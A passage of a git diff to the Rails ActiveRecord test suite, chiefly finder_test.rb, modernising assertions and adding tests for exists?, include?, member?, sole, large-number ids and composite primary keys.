@@ -41,19 +43,18 @@ def test_should_respond_to_find_all_by_an_aliased_attribute
   end
 
   def test_should_not_respond_to_find_by_one_missing_attribute
-    assert !Topic.respond_to?(:find_by_undertitle)
+    assert_not_respond_to Topic, :find_by_undertitle
   end
 
   def test_should_not_respond_to_find_by_invalid_method_syntax
-    assert !Topic.respond_to?(:fail_to_find_by_title)
-    assert !Topic.respond_to?(:find_by_title?)
-    assert !Topic.respond_to?(:fail_to_find_or_create_by_title)
-    assert !Topic.respond_to?(:find_or_create_by_title?)
+    assert_not_respond_to Topic, :fail_to_find_by_title
+    assert_not_respond_to Topic, :find_by_title?
+    assert_not_respond_to Topic, :fail_to_find_or_create_by_title
+    assert_not_respond_to Topic, :find_or_create_by_title?
   end
 
   private
-
     def ensure_topic_method_is_not_cached(method_id)
-      class << Topic; self; end.send(:remove_method, method_id) if Topic.public_methods.include? method_id
+      Topic.singleton_class.remove_method method_id if Topic.public_methods.include? method_id
     end
 end
diff --git a/activerecord/test/cases/finder_test.rb b/activerecord/test/cases/finder_test.rb
index deec669935ed9..0fb6dcf873746 100644
--- a/activerecord/test/cases/finder_test.rb
+++ b/activerecord/test/cases/finder_test.rb
@@ -1,12 +1,16 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 require "models/post"
 require "models/author"
+require "models/account"
 require "models/categorization"
 require "models/comment"
 require "models/company"
 require "models/tagging"
 require "models/topic"
 require "models/reply"
+require "models/rating"
 require "models/entrant"
 require "models/project"
 require "models/developer"
@@ -14,12 +18,24 @@
 require "models/customer"
 require "models/toy"
 require "models/matey"
+require "models/dog_lover"
 require "models/dog"
 require "models/car"
-require "models/tyre"
+require "models/tire"
+require "models/subscriber"
+require "models/non_primary_key"
+require "models/clothing_item"
+require "models/cpk"
+require "models/edge"
+require "support/stubs/strong_parameters"
+require "support/async_helper"
 
 class FinderTest < ActiveRecord::TestCase
-  fixtures :companies, :topics, :entrants, :developers, :developers_projects, :posts, :comments, :accounts, :authors, :author_addresses, :customers, :categories, :categorizations, :cars
+  include AsyncHelper
+
+  fixtures :companies, :topics, :entrants, :developers, :developers_projects,
+    :posts, :comments, :accounts, :authors, :author_addresses, :customers,
+    :categories, :categorizations, :cars, :clothing_items, :cpk_books, :cpk_reviews
 
   def test_find_by_id_with_hash
     assert_nothing_raised do
@@ -37,6 +53,21 @@ def test_find
     assert_equal(topics(:first).title, Topic.find(1).title)
   end
 
+  def test_find_with_hash_parameter
+    assert_raises(ActiveRecord::RecordNotFound) { Post.find(foo: "bar") }
+    assert_raises(ActiveRecord::RecordNotFound) { Post.find(foo: "bar", bar: "baz") }
+  end
+
+  def test_find_with_custom_select_excluding_id
+    # Returns ordered by ids array
+    topics = Topic.select(:title).find([4, 2, 5])
+    assert_equal [4, 2, 5], topics.map(&:id)
+
+    # Custom order
+    topics = Topic.select(:title).order(:id).find([4, 2, 5])
+    assert_equal [2, 4, 5], topics.map(&:id)
+  end
+
   def test_find_with_proc_parameter_and_block
     exception = assert_raises(RuntimeError) do
       Topic.all.find(-> { raise "should happen" }) { |e| e.title == "non-existing-title" }
@@ -117,10 +148,28 @@ def test_find_with_ids_and_offset
     assert_equal "The Fourth Topic of the day", records[2].title
   end
 
+  def test_find_with_ids_with_no_id_passed
+    exception = assert_raises(ActiveRecord::RecordNotFound) { Topic.find }
+    assert_equal "Topic", exception.model
+    assert_equal "id", exception.primary_key
+  end
+
+  def test_find_with_ids_with_id_out_of_range
+    exception = assert_raises(ActiveRecord::RecordNotFound) do
+      Topic.find("9999999999999999999999999999999")
+    end
+
+    assert_equal "Topic", exception.model
+    assert_equal "id", exception.primary_key
+  end
+
   def test_find_passing_active_record_object_is_not_permitted
-    assert_raises(ArgumentError) do
+    error = assert_raises(ArgumentError) do
       Topic.find(Topic.last)
     end
+
+    assert_equal "You are passing an instance of ActiveRecord::Base to `find`. " \
+    "Please pass the id of the object by calling `.id`.", error.message
   end
 
   def test_symbols_table_ref
@@ -149,9 +198,36 @@ def test_exists
     assert_equal true, Topic.exists?(id: [1, 9999])
 
     assert_equal false, Topic.exists?(45)
+    assert_equal false, Topic.exists?(9999999999999999999999999999999)
     assert_equal false, Topic.exists?(Topic.new.id)
 
-    assert_raise(NoMethodError) { Topic.exists?([1, 2]) }
+    assert_raise(ArgumentError) { Topic.exists?([1, 2]) }
+  end
+
+  def test_exists_with_scope
+    davids = Author.where(name: "David")
+    assert_equal true, davids.exists?
+    assert_equal true, davids.exists?(authors(:david).id)
+    assert_equal false, davids.exists?(authors(:mary).id)
+    assert_equal false, davids.exists?("42")
+    assert_equal false, davids.exists?(42)
+    assert_equal false, davids.exists?(davids.new.id)
+
+    fake = Author.where(name: "fake author")
+    assert_equal false, fake.exists?
+    assert_equal false, fake.exists?(authors(:david).id)
+  end
+
+  def test_exists_uses_existing_scope
+    post = authors(:david).posts.first
+    authors = Author.includes(:posts).where(name: "David", posts: { id: post.id })
+    assert_equal true, authors.exists?(authors(:david).id)
+  end
+
+  def test_any_with_scope_on_hash_includes
+    post = authors(:david).posts.first
+    categories = Categorization.includes(author: :posts).where(posts: { id: post.id })
+    assert_equal true, categories.exists?
   end
 
   def test_exists_with_polymorphic_relation
@@ -167,19 +243,40 @@ def test_exists_with_polymorphic_relation
     assert_equal false, relation.exists?(false)
   end
 
+  def test_exists_with_string
+    assert_equal false, Subscriber.exists?("foo")
+    assert_equal false, Subscriber.exists?("   ")
+
+    Subscriber.create!(id: "foo")
+    Subscriber.create!(id: "   ")
+
+    assert_equal true, Subscriber.exists?("foo")
+    assert_equal true, Subscriber.exists?("   ")
+  end
+
+  def test_exists_with_strong_parameters
+    assert_equal false, Subscriber.exists?(ProtectedParams.new(nick: "foo").permit!)
+
+    Subscriber.create!(nick: "foo")
+
+    assert_equal true, Subscriber.exists?(ProtectedParams.new(nick: "foo").permit!)
+
+    assert_raises(ActiveModel::ForbiddenAttributesError) do
+      Subscriber.exists?(ProtectedParams.new(nick: "foo"))
+    end
+  end
+
   def test_exists_passing_active_record_object_is_not_permitted
-    assert_raises(ArgumentError) do
+    error = assert_raises(ArgumentError) do
       Topic.exists?(Topic.new)
     end
-  end
 
-  def test_exists_returns_false_when_parameter_has_invalid_type
-    assert_equal false, Topic.exists?("foo")
-    assert_equal false, Topic.exists?(("9" * 53).to_i) # number that's bigger than int
+    assert_equal "You are passing an instance of ActiveRecord::Base to `exists?`. " \
+    "Please pass the id of the object by calling `.id`.", error.message
   end
 
   def test_exists_does_not_select_columns_without_alias
-    assert_sql(/SELECT\W+1 AS one FROM ["`]topics["`]/i) do
+    assert_queries_match(/SELECT 1 AS one FROM #{Regexp.escape(quote_table_name("topics"))}/i) do
       Topic.exists?
     end
   end
@@ -192,6 +289,46 @@ def test_exists_returns_false_with_false_arg
     assert_equal false, Topic.exists?(false)
   end
 
+  def test_exists_with_loaded_relation
+    topics = Topic.all.load
+    assert_queries_match(/SELECT 1 AS one/i, count: 1) do
+      assert_predicate topics, :exists?
+    end
+  end
+
+  def test_exists_with_empty_loaded_relation
+    Topic.delete_all
+    topics = Topic.all.load
+    assert_queries_match(/SELECT 1 AS one/i, count: 1) do
+      assert_not_predicate topics, :exists?
+    end
+  end
+
+  def test_exists_with_loaded_relation_having_unsaved_records
+    author = authors(:david)
+    posts = author.posts.load
+    assert_not_empty posts
+    posts.each(&:destroy)
+
+    assert_queries_match(/SELECT 1 AS one/i) do
+      assert_not_predicate posts, :exists?
+    end
+  end
+
+  def test_exists_with_loaded_relation_having_updated_owner_record
+    author = authors(:david)
+    assert_not_empty author.posts
+
+    author.posts.each do |post|
+      post.author = nil
+      post.save!
+    end
+
+    assert_queries_count(1) do
+      assert_not_predicate author.posts, :exists?
+    end
+  end
+
   # exists? should handle nil for id's that come from URLs and always return false
   # (example: Topic.exists?(params[:id])) where params[:id] is nil
   def test_exists_with_nil_arg
@@ -202,26 +339,93 @@ def test_exists_with_nil_arg
     assert_equal true, Topic.first.replies.exists?
   end
 
-  # ensures +exists?+ runs valid SQL by excluding order value
-  def test_exists_with_order
+  def test_exists_with_empty_hash_arg
+    assert_equal true, Topic.exists?({})
+  end
+
+  def test_exists_with_distinct_and_offset_and_joins
+    assert_predicate Post.left_joins(:comments).distinct.offset(10), :exists?
+    assert_not Post.left_joins(:comments).distinct.offset(11).exists?
+  end
+
+  def test_exists_with_distinct_and_offset_and_select
+    assert_predicate Post.select(:body).distinct.offset(4), :exists?
+    assert_not Post.select(:body).distinct.offset(5).exists?
+  end
+
+  def test_exists_with_distinct_and_offset_and_eagerload_and_order
+    assert_predicate Post.eager_load(:comments).distinct.offset(10).merge(Comment.order(post_id: :asc)), :exists?
+    assert_not Post.eager_load(:comments).distinct.offset(11).merge(Comment.order(post_id: :asc)).exists?
+  end
+
+  # Ensure +exists?+ runs without an error by excluding distinct value.
+  # See https://github.com/rails/rails/pull/26981.
+  def test_exists_with_order_and_distinct
     assert_equal true, Topic.order(:id).distinct.exists?
   end
 
+  # Ensure +exists?+ runs without an error by excluding order value.
+  def test_exists_with_order
+    assert_equal true, Topic.order(Arel.sql("invalid sql here")).exists?
+  end
+
+  def test_exists_with_large_number
+    assert_equal true, Topic.where(id: [1, 9223372036854775808]).exists?
+    assert_equal true, Topic.where(id: 1..9223372036854775808).exists?
+    assert_equal true, Topic.where(id: -9223372036854775809..9223372036854775808).exists?
+    assert_equal false, Topic.where(id: 9223372036854775808..9223372036854775809).exists?
+    assert_equal false, Topic.where(id: -9223372036854775810..-9223372036854775809).exists?
+    assert_equal false, Topic.where(id: 9223372036854775808..1).exists?
+    assert_equal true, Topic.where(id: 1).or(Topic.where(id: 9223372036854775808)).exists?
+    assert_equal true, Topic.where.not(id: 9223372036854775808).exists?
+
+    attr = Topic.predicate_builder
+
+    assert_predicate Topic.where(attr[:id, -9223372036854775809, :gt]),   :exists?
+    assert_predicate Topic.where(attr[:id, -9223372036854775809, :gteq]), :exists?
+    assert_predicate Topic.where(attr[:id,  9223372036854775808, :lt]),   :exists?
+    assert_predicate Topic.where(attr[:id,  9223372036854775808, :lteq]), :exists?
+
+    assert_not_predicate Topic.where(attr[:id,  9223372036854775808, :gt]),   :exists?
+    assert_not_predicate Topic.where(attr[:id,  9223372036854775808, :gteq]), :exists?
+    assert_not_predicate Topic.where(attr[:id, -9223372036854775809, :lt]),   :exists?
+    assert_not_predicate Topic.where(attr[:id, -9223372036854775809, :lteq]), :exists?
+  end
+
+  def test_exists_with_joins
+    assert_equal true, Topic.joins(:replies).where(replies_topics: { approved: true }).order("replies_topics.created_at DESC").exists?
+  end
+
+  def test_exists_with_left_joins
+    assert_equal true, Topic.left_joins(:replies).where(replies_topics: { approved: true }).order("replies_topics.created_at DESC").exists?
+  end
+
+  def test_exists_with_eager_load
+    assert_equal true, Topic.eager_load(:replies).where(replies_topics: { approved: true }).order("replies_topics.created_at DESC").exists?
+  end
+
   def test_exists_with_includes_limit_and_empty_result
-    assert_equal false, Topic.includes(:replies).limit(0).exists?
-    assert_equal false, Topic.includes(:replies).limit(1).where("0 = 1").exists?
+    assert_no_queries { assert_equal false, Topic.includes(:replies).limit(0).exists? }
+    assert_queries_count(1) { assert_equal false, Topic.includes(:replies).limit(1).where("0 = 1").exists? }
   end
 
   def test_exists_with_distinct_association_includes_and_limit
     author = Author.first
-    assert_equal false, author.unique_categorized_posts.includes(:special_comments).limit(0).exists?
-    assert_equal true, author.unique_categorized_posts.includes(:special_comments).limit(1).exists?
+    unique_categorized_posts = author.unique_categorized_posts.includes(:special_comments)
+    assert_no_queries { assert_equal false, unique_categorized_posts.limit(0).exists? }
+    assert_queries_count(1) { assert_equal true, unique_categorized_posts.limit(1).exists? }
   end
 
   def test_exists_with_distinct_association_includes_limit_and_order
     author = Author.first
-    assert_equal false, author.unique_categorized_posts.includes(:special_comments).order("comments.tags_count DESC").limit(0).exists?
-    assert_equal true, author.unique_categorized_posts.includes(:special_comments).order("comments.tags_count DESC").limit(1).exists?
+    unique_categorized_posts = author.unique_categorized_posts.includes(:special_comments).order("comments.tags_count DESC")
+    assert_no_queries { assert_equal false, unique_categorized_posts.limit(0).exists? }
+    assert_queries_count(1) { assert_equal true, unique_categorized_posts.limit(1).exists? }
+  end
+
+  def test_exists_should_reference_correct_aliases_while_joining_tables_of_has_many_through_association
+    ratings = developers(:david).ratings.includes(comment: :post).where(posts: { id: 1 })
+    assert_queries_count(1) { assert_not_predicate ratings.limit(1), :exists? }
   end
 
   def test_exists_with_empty_table_and_no_args_given
@@ -236,9 +440,9 @@ def test_exists_with_aggregate_having_three_mappings
 
   def test_exists_with_aggregate_having_three_mappings_with_one_difference
     existing_address = customers(:david).address
-    assert_equal false, Customer.exists?(address:       Address.new(existing_address.street, existing_address.city, existing_address.country + "1"))
-    assert_equal false, Customer.exists?(address:       Address.new(existing_address.street, existing_address.city + "1", existing_address.country))
-    assert_equal false, Customer.exists?(address:       Address.new(existing_address.street + "1", existing_address.city, existing_address.country))
+    assert_equal false, Customer.exists?(address: Address.new(existing_address.street, existing_address.city, existing_address.country + "1"))
+    assert_equal false, Customer.exists?(address: Address.new(existing_address.street, existing_address.city + "1", existing_address.country))
+    assert_equal false, Customer.exists?(address: Address.new(existing_address.street + "1", existing_address.city, existing_address.country))
   end
 
   def test_exists_does_not_instantiate_records
@@ -247,6 +451,185 @@ def test_exists_does_not_instantiate_records
     end
   end
 
+  def test_include_when_non_AR_object_passed_on_unloaded_relation
+    assert_no_queries do
+      assert_equal false, Customer.where(name: "David").include?("I'm not an AR object")
+    end
+  end
+
+  def test_include_when_non_AR_object_passed_on_loaded_relation
+    customers = Customer.where(name: "David").load
+
+    assert_no_queries do
+      assert_equal false, customers.include?("I'm not an AR object")
+    end
+  end
+
+  def test_member_when_non_AR_object_passed_on_unloaded_relation
+    assert_no_queries do
+      assert_equal false, Customer.where(name: "David").member?("I'm not an AR object")
+    end
+  end
+
+  def test_member_when_non_AR_object_passed_on_loaded_relation
+    customers = Customer.where(name: "David").load
+
+    assert_no_queries do
+      assert_equal false, customers.member?("I'm not an AR object")
+    end
+  end
+
+  def test_include_on_unloaded_relation_with_match
+    assert_queries_match(/1 AS one.*LIMIT/) do
+      assert_equal true, Customer.where(name: "David").include?(customers(:david))
+    end
+  end
+
+  def test_include_on_unloaded_relation_without_match
+    assert_queries_match(/1 AS one.*LIMIT/) do
+      assert_equal false, Customer.where(name: "David").include?(customers(:mary))
+    end
+  end
+
+  def test_include_on_unloaded_relation_with_mismatched_class
+    topic = topics(:first)
+    assert Customer.exists?(topic.id)
+
+    assert_no_queries do
+      assert_equal false, Customer.where(name: "David").include?(topic)
+    end
+  end
+
+  def test_include_on_unloaded_relation_with_offset
+    assert_queries_match(/ORDER BY name ASC/) do
+      assert_equal true, Customer.offset(1).order("name ASC").include?(customers(:mary))
+    end
+  end
+
+  def test_include_on_unloaded_relation_with_limit
+    mary = customers(:mary)
+    barney = customers(:barney)
+    david = customers(:david)
+
+    assert_equal false, Customer.order(id: :desc).limit(2).include?(david)
+    assert_equal true,  Customer.order(id: :desc).limit(2).include?(barney)
+    assert_equal true,  Customer.order(id: :desc).limit(2).include?(mary)
+  end
+
+  def test_include_on_unloaded_relation_with_having_referencing_aliased_select
+    skip if current_adapter?(:PostgreSQLAdapter)
+    bob = authors(:bob)
+    mary = authors(:mary)
+
+    assert_equal false, Author.select("COUNT(*) as total_posts", "authors.*").joins(:posts).group(:id).having("total_posts > 2").include?(bob)
+    assert_equal true, Author.select("COUNT(*) as total_posts", "authors.*").joins(:posts).group(:id).having("total_posts > 2").include?(mary)
+  end
+
+  def test_include_on_loaded_relation_with_match
+    customers = Customer.where(name: "David").load
+    david     = customers(:david)
+
+    assert_no_queries do
+      assert_equal true, customers.include?(david)
+    end
+  end
+
+  def test_include_on_loaded_relation_without_match
+    customers = Customer.where(name: "David").load
+    mary      = customers(:mary)
+
+    assert_no_queries do
+      assert_equal false, customers.include?(mary)
+    end
+  end
+
+  def test_include_on_unloaded_relation_with_composite_primary_key
+    assert_queries_match(/1 AS one.*LIMIT/) do
+      book = cpk_books(:cpk_great_author_first_book)
+      assert Cpk::Book.where(title: "The first book").include?(book)
+    end
+  end
+
+  def test_include_on_loaded_relation_with_composite_primary_key
+    books = Cpk::Book.where(title: "The first book").load
+    great_author_book = cpk_books(:cpk_great_author_first_book)
+
+    assert_no_queries do
+      assert books.include?(great_author_book)
+    end
+  end
+
+  def test_member_on_unloaded_relation_with_match
+    assert_queries_match(/1 AS one.*LIMIT/) do
+      assert_equal true, Customer.where(name: "David").member?(customers(:david))
+    end
+  end
+
+  def test_member_on_unloaded_relation_without_match
+    assert_queries_match(/1 AS one.*LIMIT/) do
+      assert_equal false, Customer.where(name: "David").member?(customers(:mary))
+    end
+  end
+
+  def test_member_on_unloaded_relation_with_mismatched_class
+    topic = topics(:first)
+    assert Customer.exists?(topic.id)
+
+    assert_no_queries do
+      assert_equal false, Customer.where(name: "David").member?(topic)
+    end
+  end
+
+  def test_member_on_unloaded_relation_with_offset
+    assert_queries_match(/ORDER BY name ASC/) do
+      assert_equal true, Customer.offset(1).order("name ASC").member?(customers(:mary))
+    end
+  end
+
+  def test_member_on_unloaded_relation_with_limit
+    mary = customers(:mary)
+    barney = customers(:barney)
+    david = customers(:david)
+
+    assert_equal false, Customer.order(id: :desc).limit(2).member?(david)
+    assert_equal true,  Customer.order(id: :desc).limit(2).member?(barney)
+    assert_equal true,  Customer.order(id: :desc).limit(2).member?(mary)
+  end
+
+  def test_member_on_loaded_relation_with_match
+    customers = Customer.where(name: "David").load
+    david     = customers(:david)
+
+    assert_no_queries do
+      assert_equal true, customers.member?(david)
+    end
+  end
+
+  def test_member_on_loaded_relation_without_match
+    customers = Customer.where(name: "David").load
+    mary      = customers(:mary)
+
+    assert_no_queries do
+      assert_equal false, customers.member?(mary)
+    end
+  end
+
+  def test_member_on_unloaded_relation_with_composite_primary_key
+    assert_queries_match(/1 AS one.*LIMIT/) do
+      book = cpk_books(:cpk_great_author_first_book)
+      assert Cpk::Book.where(title: "The first book").member?(book)
+    end
+  end
+
+  def test_member_on_loaded_relation_with_composite_primary_key
+    books = Cpk::Book.where(title: "The first book").load
+    great_author_book = cpk_books(:cpk_great_author_first_book)
+
+    assert_no_queries do
+      assert books.member?(great_author_book)
+    end
+  end
+
   def test_find_by_array_of_one_id
     assert_kind_of(Array, Topic.find([ 1 ]))
     assert_equal(1, Topic.find([ 1 ]).length)
@@ -267,40 +650,58 @@ def test_find_by_ids_with_limit_and_offset
     #   limit of 3 and offset of 9, then you should find that there
     #   will be only 2 results, regardless of the limit.
     devs = Developer.all
-    last_devs = Developer.limit(3).offset(9).find devs.map(&:id)
+    last_devs = Developer.limit(3).offset(9).find(devs.map(&:id).sort)
     assert_equal 2, last_devs.size
     assert_equal "fixture_10", last_devs[0].name
     assert_equal "Jamis", last_devs[1].name
   end
 
   def test_find_with_large_number
-    assert_raises(ActiveRecord::RecordNotFound) { Topic.find("9999999999999999999999999999999") }
+    assert_queries_count(0) do
+      assert_raises(ActiveRecord::RecordNotFound) { Topic.find("9999999999999999999999999999999") }
+    end
   end
 
   def test_find_by_with_large_number
-    assert_nil Topic.find_by(id: "9999999999999999999999999999999")
+    assert_queries_count(0) do
+      assert_nil Topic.find_by(id: "9999999999999999999999999999999")
+    end
   end
 
   def test_find_by_id_with_large_number
-    assert_nil Topic.find_by_id("9999999999999999999999999999999")
+    assert_queries_count(0) do
+      assert_nil Topic.find_by_id("9999999999999999999999999999999")
+    end
   end
 
   def test_find_on_relation_with_large_number
+    assert_raises(ActiveRecord::RecordNotFound) do
+      Topic.where("1=1").find(9999999999999999999999999999999)
+    end
+    assert_equal topics(:first), Topic.where(id: [1, 9999999999999999999999999999999]).find(1)
+  end
+
+  def test_find_by_on_relation_with_large_number
     assert_nil Topic.where("1=1").find_by(id: 9999999999999999999999999999999)
+    assert_equal topics(:first), Topic.where(id: [1, 9999999999999999999999999999999]).find_by(id: 1)
   end
 
   def test_find_by_bang_on_relation_with_large_number
     assert_raises(ActiveRecord::RecordNotFound) do
       Topic.where("1=1").find_by!(id: 9999999999999999999999999999999)
     end
+    assert_equal topics(:first), Topic.where(id: [1, 9999999999999999999999999999999]).find_by!(id: 1)
   end
 
   def test_find_an_empty_array
-    assert_equal [], Topic.find([])
+    empty_array = []
+    result = Topic.find(empty_array)
+    assert_equal [], result
+    assert_not_same empty_array, result
   end
 
   def test_find_doesnt_have_implicit_ordering
-    assert_sql(/^((?!ORDER).)*$/) { Topic.find(1) }
+    assert_queries_match(/^((?!ORDER).)*$/) { Topic.find(1) }
   end
 
   def test_find_by_ids_missing_one
@@ -319,6 +720,8 @@ def test_find_with_entire_select_statement
 
     assert_equal(1, topics.size)
     assert_equal(topics(:second).title, topics.first.title)
+
+    assert_async_equal topics,  Topic.async_find_by_sql("SELECT * FROM topics WHERE author_name = 'Mary'")
   end
 
   def test_find_with_prepared_select_statement
@@ -334,18 +737,23 @@ def test_find_by_sql_with_sti_on_joined_table
   end
 
   def test_find_by_association_subquery
-    author = authors(:david)
-    assert_equal author.post, Post.find_by(author: Author.where(id: author))
-    assert_equal author.post, Post.find_by(author_id: Author.where(id: author))
+    firm = companies(:first_firm)
+    assert_equal firm.account, Account.find_by(firm: Firm.where(id: firm))
+    assert_equal firm.account, Account.find_by(firm_id: Firm.where(id: firm))
   end
 
   def test_find_by_and_where_consistency_with_active_record_instance
-    author = authors(:david)
-    assert_equal Post.where(author_id: author).take, Post.find_by(author_id: author)
+    firm = companies(:first_firm)
+    assert_equal Account.where(firm_id: firm).take, Account.find_by(firm_id: firm)
+  end
+
+  def test_find_by_with_alias
+    account = accounts(:last_account)
+    assert_equal account, Account.find_by(available_credit: account.available_credit)
   end
 
   def test_take
-    assert_equal topics(:first), Topic.take
+    assert_equal topics(:first), Topic.where("title = 'The First Topic'").take
   end
 
   def test_take_failing
@@ -359,11 +767,53 @@ def test_take_bang_present
   end
 
   def test_take_bang_missing
-    assert_raises_with_message ActiveRecord::RecordNotFound, "Couldn't find Topic" do
+    assert_raises ActiveRecord::RecordNotFound, match: "Couldn't find Topic" do
       Topic.where("title = 'This title does not exist'").take!
     end
   end
 
+  def test_sole
+    assert_equal topics(:first), Topic.where("title = 'The First Topic'").sole
+    assert_equal topics(:first), Topic.find_sole_by("title = 'The First Topic'")
+  end
+
+  def test_sole_failing_none
+    assert_raises ActiveRecord::RecordNotFound, match: "Couldn't find Topic" do
+      Topic.where("title = 'This title does not exist'").sole
+    end
+    assert_raises ActiveRecord::RecordNotFound, match: "Couldn't find Topic" do
+      Topic.find_sole_by("title = 'This title does not exist'")
+    end
+  end
+
+  def test_sole_failing_many
+    assert_raises ActiveRecord::SoleRecordExceeded, match: "Wanted only one Topic" do
+      Topic.where("author_name = 'Carl'").sole
+    end
+    assert_raises ActiveRecord::SoleRecordExceeded, match: "Wanted only one Topic" do
+      Topic.find_sole_by("author_name = 'Carl'")
+    end
+  end
+
+  def test_sole_record_exceeded_record_accessor
+    relation = Topic.where("author_name = 'Carl'")
+    error = assert_raises ActiveRecord::SoleRecordExceeded, match: "Wanted only one Topic" do
+      relation.sole
+    end
+
+    assert_kind_of ActiveRecord::Relation, error.record
+    assert_equal relation.count, error.record.count
+  end
+
+  def test_sole_on_loaded_relation
+    relation = Topic.where("title = 'The First Topic'").load
+    expected_topic = topics(:first)
+
+    assert_no_queries do
+      assert_equal expected_topic, relation.sole
+    end
+  end
+
   def test_first
     assert_equal topics(:second).title, Topic.where("title = 'The Second Topic of the day'").first.title
   end
@@ -379,7 +829,7 @@ def test_first_bang_present
   end
 
   def test_first_bang_missing
-    assert_raises_with_message ActiveRecord::RecordNotFound, "Couldn't find Topic" do
+    assert_raises ActiveRecord::RecordNotFound, match: "Couldn't find Topic" do
       Topic.where("title = 'This title does not exist'").first!
     end
   end
@@ -388,12 +838,14 @@ def test_first_have_primary_key_order_by_default
     expected = topics(:first)
     expected.touch # PostgreSQL changes the default order if no order clause is used
     assert_equal expected, Topic.first
+    assert_equal expected, Topic.limit(5).first
+    assert_equal expected, Topic.order(nil).first
   end
 
   def test_model_class_responds_to_first_bang
     assert Topic.first!
     Topic.delete_all
-    assert_raises_with_message ActiveRecord::RecordNotFound, "Couldn't find Topic" do
+    assert_raises ActiveRecord::RecordNotFound, match: "Couldn't find Topic" do
       Topic.first!
     end
   end
@@ -410,12 +862,14 @@ def test_second_have_primary_key_order_by_default
     expected = topics(:second)
     expected.touch # PostgreSQL changes the default order if no order clause is used
     assert_equal expected, Topic.second
+    assert_equal expected, Topic.limit(5).second
+    assert_equal expected, Topic.order(nil).second
   end
 
   def test_model_class_responds_to_second_bang
     assert Topic.second!
     Topic.delete_all
-    assert_raises_with_message ActiveRecord::RecordNotFound, "Couldn't find Topic" do
+    assert_raises ActiveRecord::RecordNotFound, match: "Couldn't find Topic" do
       Topic.second!
     end
   end
@@ -432,12 +886,14 @@ def test_third_have_primary_key_order_by_default
     expected = topics(:third)
     expected.touch # PostgreSQL changes the default order if no order clause is used
     assert_equal expected, Topic.third
+    assert_equal expected, Topic.limit(5).third
+    assert_equal expected, Topic.order(nil).third
   end
 
   def test_model_class_responds_to_third_bang
     assert Topic.third!
     Topic.delete_all
-    assert_raises_with_message ActiveRecord::RecordNotFound, "Couldn't find Topic" do
+    assert_raises ActiveRecord::RecordNotFound, match: "Couldn't find Topic" do
       Topic.third!
     end
   end
@@ -454,12 +910,14 @@ def test_fourth_have_primary_key_order_by_default
     expected = topics(:fourth)
     expected.touch # PostgreSQL changes the default order if no order clause is used
     assert_equal expected, Topic.fourth
+    assert_equal expected, Topic.limit(5).fourth
+    assert_equal expected, Topic.order(nil).fourth
   end
 
   def test_model_class_responds_to_fourth_bang
     assert Topic.fourth!
     Topic.delete_all
-    assert_raises_with_message ActiveRecord::RecordNotFound, "Couldn't find Topic" do
+    assert_raises ActiveRecord::RecordNotFound, match: "Couldn't find Topic" do
       Topic.fourth!
     end
   end
@@ -476,12 +934,14 @@ def test_fifth_have_primary_key_order_by_default
     expected = topics(:fifth)
     expected.touch # PostgreSQL changes the default order if no order clause is used
     assert_equal expected, Topic.fifth
+    assert_equal expected, Topic.limit(5).fifth
+    assert_equal expected, Topic.order(nil).fifth
   end
 
   def test_model_class_responds_to_fifth_bang
     assert Topic.fifth!
     Topic.delete_all
-    assert_raises_with_message ActiveRecord::RecordNotFound, "Couldn't find Topic" do
+    assert_raises ActiveRecord::RecordNotFound, match: "Couldn't find Topic" do
       Topic.fifth!
     end
   end
@@ -496,8 +956,8 @@ def test_second_to_last
     assert_nil Topic.offset(4).second_to_last
     assert_nil Topic.offset(5).second_to_last
 
-    #test with limit
-    # assert_nil Topic.limit(1).second # TODO: currently failing
+    # test with limit
+    assert_nil Topic.limit(1).second
     assert_nil Topic.limit(1).second_to_last
   end
 
@@ -510,7 +970,7 @@ def test_second_to_last_have_primary_key_order_by_default
   def test_model_class_responds_to_second_to_last_bang
     assert Topic.second_to_last!
     Topic.delete_all
-    assert_raises_with_message ActiveRecord::RecordNotFound, "Couldn't find Topic" do
+    assert_raises ActiveRecord::RecordNotFound, match: "Couldn't find Topic" do
       Topic.second_to_last!
     end
   end
@@ -526,9 +986,9 @@ def test_third_to_last
     assert_nil Topic.offset(5).third_to_last
 
     # test with limit
-    # assert_nil Topic.limit(1).third # TODO: currently failing
+    assert_nil Topic.limit(1).third
     assert_nil Topic.limit(1).third_to_last
-    # assert_nil Topic.limit(2).third # TODO: currently failing
+    assert_nil Topic.limit(2).third
     assert_nil Topic.limit(2).third_to_last
   end
 
@@ -541,11 +1001,21 @@ def test_third_to_last_have_primary_key_order_by_default
   def test_model_class_responds_to_third_to_last_bang
     assert Topic.third_to_last!
     Topic.delete_all
-    assert_raises_with_message ActiveRecord::RecordNotFound, "Couldn't find Topic" do
+    assert_raises ActiveRecord::RecordNotFound, match: "Couldn't find Topic" do
       Topic.third_to_last!
     end
   end
 
+  def test_nth_to_last_with_order_uses_limit
+    assert_queries_match(/ORDER BY #{Regexp.escape(quote_table_name("topics.id"))} DESC LIMIT/i) do
+      Topic.second_to_last
+    end
+
+    assert_queries_match(/ORDER BY #{Regexp.escape(quote_table_name("topics.updated_at"))} DESC LIMIT/i) do
+      Topic.order(:updated_at).second_to_last
+    end
+  end
+
   def test_last_bang_present
     assert_nothing_raised do
       assert_equal topics(:second), Topic.where("title = 'The Second Topic of the day'").last!
@@ -553,23 +1023,23 @@ def test_last_bang_present
   end
 
   def test_last_bang_missing
-    assert_raises_with_message ActiveRecord::RecordNotFound, "Couldn't find Topic" do
+    assert_raises ActiveRecord::RecordNotFound, match: "Couldn't find Topic" do
       Topic.where("title = 'This title does not exist'").last!
     end
   end
 
   def test_model_class_responds_to_last_bang
     assert_equal topics(:fifth), Topic.last!
-    assert_raises_with_message ActiveRecord::RecordNotFound, "Couldn't find Topic" do
+    assert_raises ActiveRecord::RecordNotFound, match: "Couldn't find Topic" do
       Topic.delete_all
       Topic.last!
     end
   end
 
   def test_take_and_first_and_last_with_integer_should_use_sql_limit
-    assert_sql(/LIMIT|ROWNUM <=|FETCH FIRST/) { Topic.take(3).entries }
-    assert_sql(/LIMIT|ROWNUM <=|FETCH FIRST/) { Topic.first(2).entries }
-    assert_sql(/LIMIT|ROWNUM <=|FETCH FIRST/) { Topic.last(5).entries }
+    assert_queries_match(/LIMIT|ROWNUM <=|FETCH FIRST/) { Topic.take(3).entries }
+    assert_queries_match(/LIMIT|ROWNUM <=|FETCH FIRST/) { Topic.first(2).entries }
+    assert_queries_match(/LIMIT|ROWNUM <=|FETCH FIRST/) { Topic.last(5).entries }
   end
 
   def test_last_with_integer_and_order_should_keep_the_order
@@ -578,14 +1048,14 @@ def test_last_with_integer_and_order_should_keep_the_order
